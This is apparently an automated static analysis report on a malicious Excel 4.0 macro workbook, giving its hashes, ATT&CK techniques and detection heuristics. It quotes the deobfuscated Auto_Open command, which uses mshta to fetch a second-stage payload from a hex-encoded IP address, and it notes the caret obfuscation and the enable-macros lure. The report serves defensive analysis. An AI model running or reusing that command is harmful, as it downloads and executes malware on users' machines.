Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 f3cf80c42c0fc253…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 259525dabb6ab7fa5442b643b967add0 SHA-1: c8c5ef105039f286f01cd50ed5f5c8e67fe3815a SHA-256: f3cf80c42c0fc25395425187c33a80f2f8f435f7ec49b72e2aaad39383daaa91
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open macro to execute a command. The macro attempts to obfuscate a URL by using caret characters, which reconstructs to 'cmd /c msh^ta http://0xc12a24f5/c.html'. This command likely downloads and executes a second-stage payload. The document body also contains a lure to enable macros, further supporting its malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes